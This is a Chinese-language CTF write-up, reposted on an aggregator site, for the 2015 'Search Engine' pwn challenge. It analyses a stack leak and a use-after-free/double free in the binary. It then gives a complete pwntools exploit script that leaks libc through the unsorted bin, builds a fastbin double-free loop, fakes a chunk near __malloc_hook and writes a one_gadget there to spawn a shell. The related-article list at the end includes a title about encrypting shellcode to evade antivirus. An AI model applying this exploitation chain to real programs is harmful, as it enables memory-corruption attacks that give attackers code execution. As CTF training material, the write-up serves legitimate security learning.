CTF 2015: Search Engine-fastbin_dup_into_stack

news2024/9/21 20:54:54

参考:
[1]https://gsgx.me/posts/9447-ctf-2015-search-engine-writeup/
[2]https://blog.csdn.net/weixin_38419913/article/details/103238963(掌握利用点,省略各种逆向细节)
[3]https://bbs.kanxue.com/thread-267876.htm(逆向调试详解)
[4]https://bbs.kanxue.com/thread-247219.htm(双解法)

1,三连
在这里插入图片描述2,IDA分析
首先了解程序的基本功能对应函数:
在这里插入图片描述

如何泄露栈上地址
在这里插入图片描述
进入choose_num看实现代码,通过观察read_num最终就是fread实现的:
8f44226455ea764b9dfcfca31eb.png)注意:这里开始ida自动生成把48变成了0,怎么也没看出怎么泄露的。
手动转为十进制:
在这里插入图片描述
泄漏原因:nptr给的空间大小是56,但是实际只读入了48长度,意味着读入后的值nptr[48]≠NULL,所以能继续print出nptr[49]~nptr[56]。细节!
效果:
在这里插入图片描述上图第一次执行就验证说明了不一定每次都泄露。我们就是要利用它来尝试泄露栈上地址。
贴张更详细的注释[3]:
在这里插入图片描述

index

参考[3]
在这里插入图片描述
重点-还是泄露:接着调用input函数往sentence chunk 输入句子的内容,这里第三个参数为0,所以,如果后面打印sentence的句子,可能泄漏数据。
验证:直接gdb调试,断点下载input函数-这里是0x400c4a

gdb search
b *0x400c4a

2

9 

在这里插入图片描述然后执行输入传入的sentence内容

ni
aaaa aaaa	//中间一个空格


x/10gx 0x603420-0x10

在这里插入图片描述
可以看到sentence_mem开始9个字节由低到高是:616161612061616161,没有\x00。所以,如果我们输入的句子长一点,把sentence chunk填满,那么可以打印下一个chunk。

Search

通过代码分析出每个输入的word会被创建一个结构体管理:
结构体内容推测如下[2]:
在这里插入图片描述

struct word {
	word_ptr //指向每个word的起始地址 [i一直在加上偏移观察出]
	word_size //每个word的大小	[*(_DWORD *)(i + 8) == v0观察出]
	sentence_ptr //指向句子的起始地址 [fwrite(*(const void **)(i + 16), 1uLL, *(int *)(i + 24), stdout);]
	sentence_size //每一个句子的大小 [fwrite(*(const void **)(i + 16), 1uLL, *(int *)(i + 24), stdout);]
	pre_word_ptr //指向上一个word struct的指针[i = *(_QWORD *)(i + 32)观察出]
}

1,输入word的大小和内容,以输入的大小为size malloc一个堆。
2,从最后一个word struct开始找起,通过每个struct的pre_word_ptr一直向前找。
3,这里有两个check。第一,当前的word_struct的sentence ptr指向的内容不能为空。
在这里插入图片描述
第二,当前的word_struct中的size字段要和输入的word的size大小一致,并且通zmemcmp(word_struct->word_ptr, word_ptr, size)来比较输入的word内容和当前struct的word ptr指向的内容是否一致。
在这里插入图片描述4,通过这两个check之后,打印该word struct对应的sentence_ptr内容。

在这里插入图片描述5,询问是否删除句子,如果删除的话,就清空该sentence中的内容,并且把该word_struct中的sentence_ptr指针free掉
注意这里free之后没有把sentence_ptr指针设置为空,存在漏洞,之后可以通过double free来进行一个利用-UAF。
在这里插入图片描述

利用思路

unsort_bin泄露libc,通过如下来实现

  • read_num((__int64)nptr, 48, 1);输入48个非数字字符,字符串不会有\x00结尾,打印函数会泄漏栈里的数据;而且全部输入非数字字符,会提示非法并一直让输入。

UAF实现任意地址分配然后写:fastbin_dup_into_stack利用

  • 搜索单词的search函数:删除句子的地方存在UAF漏洞/Double Free漏洞。

3,实际操作

泄漏libc

这里利用free掉一个非fast chunk的块,会落入unsorted bin之中,如果此时unsorted bin中只有这一个free的块并且这个块的下一个块不是top chunk,那么此时这个块的fd和bk均指向main_arena+88这个地址。而main_arena和libc的偏移是固定的,由此可以泄漏出libc的地址。
所以我们先通过index_a_sentence来申请一个size大小大于0x70(实际chunk大小大于0x80)的块,再把它free掉落入unsorted bin中,并且由于free之后指针并没有被清空,只要我们绕过之前说的那两个check就能打印出sentence中的内容(就是fd和bk的指针值)来泄漏libc的地址。
两个check的绕过可以通过这样的思路:第一个check是检查sentence中的内容是否为空,由于我们free的chunk大小大于fast chunk且不和top chunk紧邻,所以fd,bk中都有值。此时的堆内存的布局为:

第二个check是要检查输入的word和实际的word的值是否一致。由于之前sentence内容被清空且被free,布局如上图所示。所以我们只需要search的word为\x00就可以了pass这个check。 不过要注意第一次建立sentence的时候要建立如“A”*0x80 + “ “ + ”B”。不能是“B” + “ ” + “A”*0x80,否则由于fd,bk指针的缘故就不能输入\x00来pass这个check。(如果是后者," "位置会被bk填充了,搜索\x00就无法绕过)

总体的泄漏libc的脚本如下:

def leak():
    unsorted_bin_sentece = "s"*0x85 + " m"
    index_a_sentence(unsorted_bin_sentece)
    seach_word("m")
    io.recvuntil("(y/n)?")
    io.sendline("y")
    seach_word("\x00")
    io.recvuntil("Found " + str(len(unsorted_bin_sentece)) + ": ")
    main_arena_addr = u64(io.recv(6).ljust(8, "\x00")) - 88
    libc_addr = main_arena_addr - 0x3c4b20
    io.recvuntil("(y/n)?")
    io.sendline("n")
    return libc_addr, main_arena_addr

double free建立循环链表

由于在程序分析时,发现没有对free的指针进行置空。可以造成一个double free。
我们先申请三个fast bin。fastbins的落在0x70(这是因为之后伪造的chunk的size也要落在0x70)
tips: 如果要利用malloc_hook利用,伪造的chunk固定给0x70就好,因为是为了绕过malloc检查fastbin[index]的index。

index_a_sentence("a"*0x5d + " d") #chunk a
index_a_sentence("a"*0x5d + " d") #chunk b
index_a_sentence("a"*0x5d + " d") #chunk c

伪造chunk进行任意写

构造完成一条循环fastbins链之后,可以通过四次malloc来进行任意地址写。此时fastbins的布局为b–>a—>b–>a–>…。第一次malloc,返回chunk b,我们此时修改fd的指针到一个伪造的chunk处(要满足size字段的检测);第二次malloc,返回chunk a;第三次malloc,返回chunk b;
第四次malloc,由于之前把b的fd指针修改了,这个返回的就是伪造chunk的地址。
这里我们想在__malloc_hook地址上写入one gadget,所以我们找一个malloc之前的fake chunk。

这里可以借助pwndgb的find_fake_fast来找
用法 find_fake_fast 想要覆盖的地址 size的大小

poc

one gadget要多尝试几个,就能get shell。

#coding=utf-8
from pwn import *

DEBUG = 1
io = process("./search")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
if DEBUG:
    context.log_level = "debug"
    context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

def index_a_sentence(sentence):
    io.recvuntil("Quit\n")
    io.sendline("2")
    io.recvuntil("size:")
    io.sendline(str(len(sentence)))
    io.recvuntil("sentence:")
    io.sendline(sentence)

def seach_word(word):
    io.recvuntil("Quit\n")
    io.sendline("1")
    io.recvuntil("size:")
    io.sendline(str(len(word)))
    io.recvuntil("word:")
    io.sendline(word)

def leak():
    unsorted_bin_sentece = "s"*0x85 + " m"
    index_a_sentence(unsorted_bin_sentece)
    seach_word("m")
    io.recvuntil("(y/n)?")
    io.sendline("y")
    seach_word("\x00")
    io.recvuntil("Found " + str(len(unsorted_bin_sentece)) + ": ")
    main_arena_addr = u64(io.recv(6).ljust(8, "\x00")) - 88
    libc_addr = main_arena_addr - 0x3c4b20
    io.recvuntil("(y/n)?")
    io.sendline("n")
    return libc_addr, main_arena_addr

libc_addr, main_arena_addr = leak()

print("libc address: " + hex(libc_addr))

index_a_sentence("a"*0x5d + " d") #chunk a
index_a_sentence("a"*0x5d + " d") #chunk b
index_a_sentence("a"*0x5d + " d") #chunk c

seach_word("d")
io.recvuntil("(y/n)?")
io.sendline("y") #free c
io.recvuntil("(y/n)?")
io.sendline("y") #free b
io.recvuntil("(y/n)?")
io.sendline("y") #free a
# fastbins 0x70:  a->b->c

seach_word("\x00")
io.recvuntil("(y/n)?")
io.sendline("y") #free b
# fastbins 0x70:  b->a->b->....
# double free 构建了循环链表
io.recvuntil("(y/n)?")
io.sendline("n")
io.recvuntil("(y/n)?")
io.sendline("n")

one_gadget_addr = libc_addr + 0xf1247
fake_chunk_addr = main_arena_addr - 51
payload = p64(fake_chunk_addr).ljust(0x60, "a")
index_a_sentence(payload) # return chunk b and edit fd
# fastbins: a->b->fake_chunk    notice that fake_chunk size should fall in right fastbins index
index_a_sentence("a"*0x60) # return chunk a
index_a_sentence("a"*0x60) # return chunk b whose fd has been modified
payload = ("a"*19 + p64(one_gadget_addr)).ljust(0x60, "a")

#gdb.attach(io)
index_a_sentence(payload)

io.interactive()

本菜鸡做pwn以来读的最难懂的程序…难点不在知识点,而难在如何去利用各处的细节漏洞点构成完整的利用链,比house系列还难做:(
参考[2]可以很好的借鉴,屏蔽一些细节,如何实现效果。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/564622.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

web功能测试方法大全—完整!全面!(纯干货,建议收藏哦~)

本文通过六个部分为大家梳理了web功能测试过程中,容易出现的遗漏的部分,用以发掘自己工作中的疏漏。(纯干货,建议收藏哦~) 一、输入框 1、字符型输入框 2、数值型输入框 3、日期型输入框 4、信息重复 在一些需要命…

GPT-4版Windows炸场,整个系统就是一个对话机器人,微软开建AI全宇宙

原创 智东西编辑部 智东西 Windows的GPT时刻到来,变革PC行业。 作者 | 智东西编辑部 今日凌晨,Windows迎来了GPT-4时刻! 在2023微软Build大会上,微软总裁萨蒂亚纳德拉(Satya Nadella)宣布推出Windows Co…

实现免杀:Shellcode的AES和XOR加密策略(vt查杀率:4/70)

前言 什么是私钥和公钥 私钥和公钥是密码学中用于实现加密、解密和数字签名等功能的关键组件。 私钥是一种加密算法中的秘密密钥,只有密钥的拥有者可以访问和使用它。私钥通常用于数字签名和数据加密等场景中,它可以用于对数据进行加密,同…

头部效应凸显,消金行业迈入“巨头赛”?

回顾已经过去的2022年,消金行业面临着来自多方面的考验,承压前行,而随着进入2023年,相关企业也陆续展示出过去一年的发展成果,以此为后续发展做出指引。 当前,30家已开业的消金公司中,29家的20…

《消息队列高手课》课程笔记(三)

如何利用事务消息实现分布式事务? 什么是分布式事务? 消息队列中的“事务”,主要解决的是消息生产者和消息消费者的数据一致性问题。如果我们需要对若干数据进行更新操作,为了保证这些数据的完整性和一致性,我们希望…

独立站怎么搭建?搭建一个独立站的10个建议和步骤

要搭建一个独立站(也称为个人网站或博客),以下是一些建议和步骤: 选择一个合适的域名:选择一个简洁、易记且与您网站内容相关的域名。确保域名可用,并注册该域名。 寻找一个合适的主机服务提供商&#xff…

【Cpp】哈希之手撕闭散列/开散列

文章目录 unorderedunordered系列关联式容器unordered_map和unordered_set概述unordered_map的文档介绍unordered_map的接口说明 底层结构 哈希哈希/散列表 概念哈希冲突哈希函数哈希函数设计原则:常见哈希函数 哈希冲突解决闭散列线性探测二次探测 开散列 哈希表的…

C语言数据结构——树、堆(堆排序)、TOPK问题

🐶博主主页:ᰔᩚ. 一怀明月ꦿ ❤️‍🔥专栏系列:线性代数,C初学者入门训练,题解C,C的使用文章,「初学」C,数据结构 🔥座右铭:“不要等到什么都没…

使用go语言构建区块链 Part4.事务1

英文源地址 简介 事务是比特币的核心, 区块链的唯一目的是以安全可靠的方式存储交易, 因此在交易创建后没有人可以修改. 今天我们开始实现事务, 但由于这是一个相当大的主题, 我将它分成两部分: 在这一部分中, 我们将实现事务的通用机制, 在第二部分中, 我们将研究细节. 此外…

让你在Windows打开Sketch格式再也不愁

Sketch是Macos的专用矢量绘图应用。在Sketch软件中,ios开发者可以轻松设计图层面板等图层的常用操作,广泛应用于产品的交互设计和UI设计,帮助很多设计师创作出很多优秀的作品。然而,Sketch只服务于Macos系统,这使得许多…

Laravel框架06:文件、迁移填充、会话、缓存

Laravel框架06:文件、迁移填充、会话、缓存 一、文件上传1. 文件上传表单2. 上传业务处理3. 全部代码 二、数据表的迁移与填充1. 迁移文件① 创建迁移文件② 编写迁移文件③ 执行迁移文件④ 回滚迁移文件 2. 填充(种子)文件① 创建填充文件②…

C++常用的支持中文的GUI库Qt 6之三: Qt 6的项目的发布

C常用的支持中文的GUI库Qt 6之三: Qt 6的项目的发布 本文接着上一篇“C常用的支持中文的GUI库Qt 6之二:项目的结构、资源文件的使用” https://blog.csdn.net/cnds123/article/details/130741807介绍,并使用其中的例子。 程序代码能正确编译…

【STL】list的使用

系列文章 学习C途中自然绕不过STL,在这个系列文章之中 我们讲了string的使用和string的模拟实现,以及vector的使用、vector的模拟实现。 感兴趣的可以翻翻看。 目录 系列文章 前言 默认成员函数 构造函数 拷贝构造 赋值重载 迭代器 容量查询 …

人人都能看懂的Spring源码解析,Spring声明式事务关于传播特性、事务挂起与恢复的处理

人人都能看懂的Spring源码解析,Spring声明式事务关于传播特性、事务挂起与恢复的处理 原理解析AbstractPlatformTransactionManager事务传播特性事务挂起与恢复通过DataSourceTransactionManager看事务挂起和恢复的具体实现 代码走读总结 往期文章: 人人…

LRU Cache

前言 哈喽,各位小伙伴大家好,本章内容为大家介绍计算机当中为了提高数据相互传输时的效率而引进的一种重要设计结构叫做LRU Cache,下面将为大家详细介绍什么是LRU Cache,以及它是如何是实现的,如何提升效率的。 1.什么是LRU Cache? LRU是L…

卷起来了?2023这三个项目直接让你原地起飞!

理论自学谁不会,理论知识跟实战项目实践相结合才是大问题? 还在发愁没有项目练手?还在发愁简历中的项目生搬硬凑?还在担心自己没实操过项目被面试官直接K.O? 这三个实战项目让你快人一步,总有一个适合你的&#xff…

数慧时空20年磨一剑:推出智能遥感云平台DIEY,自然资源多模态大模型“长城”,为地理信息产业提速

作者 | 伍杏玲 出品 | CSDN 据中国地理信息产业发展报告公布的数据,截至2020年末,行业从业单位13.8万家,从业人数336.6万,到2021年末,从业单位增加到16.4万家,从业人数增加到398万,产业规模越…

软件测试的未来?为什么越来越多的公司选择模糊测试

背景:近年来,随着信息技术的发展,各种新型自动化测试技术如雨后春笋般出现。其中,模糊测试(fuzz testing)技术开始受到行业关注,它尤其适用于发现未知的、隐蔽性较强的底层缺陷。这里&#xff0…

Eclipse MAT分析内存案例

前言 本文记录一次使用Eclipse MAT排查内存问题的案例,缘由是线上某服务OOM,排查得知jvm old区占满,但是gc了还是无法释放 实战 首先在线上服务器排查发现某应用占用了大量的内存,由一个ConcurrentHashMap对象造成的&#xff0…

【ArcGIS Pro二次开发】(31):ArcGIS Pro中的多线程

ArcGIS Pro与旧的ArcGIS桌面应用程序的显著不同之处在于,它采用多线程架构,可以有效的发挥多核CPU的优势。这使得二次开发工具的性能变得更好,但也对开发工作带来了更多的难点和挑战。 一、多线程需要注意的问题 一般情况下,为了…